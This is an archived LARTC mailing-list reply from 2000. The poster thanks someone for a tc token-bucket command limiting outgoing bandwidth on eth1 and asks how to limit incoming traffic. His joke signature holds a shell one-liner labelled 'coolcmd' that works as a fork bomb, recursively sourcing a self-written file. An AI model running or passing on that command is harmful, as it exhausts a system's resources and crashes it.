Re: [LARTC] Bandwidth limiting

Linux Advanced Routing and Traffic Control

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



On Wed, 22 Nov 2000, Daniel Bergqvist wrote:
> tc qdisc add dev eth1 root tbf rate 10kbit buffer 5kb/8 limit 10kb

It works perfectly, thank you very much.

> This adds an token bucket flow qdisc to eth1 and limits traffic to
> 10kbit/s. Note: It only limits outgoing traffic, not incomming traffic.

Hmm... and how do I set it up to limit incomming?
Since the interface behind the gateway has just one C-class net I assume it's 
pretty easy, but not for me. :(

---------
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas@xxxxxxxxxxxx" };
  char kernel[]    = { "Linux 2.2" };
  char *pgpKey[]   = { "finger -m thompa@xxxxxxxxxxxxxx" };
  char pgpfinger[] = { "6517 2898 6AED EA2C 1015  DCF0 8E53 B69F 524B B541" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;



[Index of Archives]     [LARTC Home Page]     [Netfilter]     [Netfilter Development]     [Network Development]     [Bugtraq]     [GCC Help]     [Yosemite News]     [Linux Kernel]     [Fedora Users]
  Powered by Linux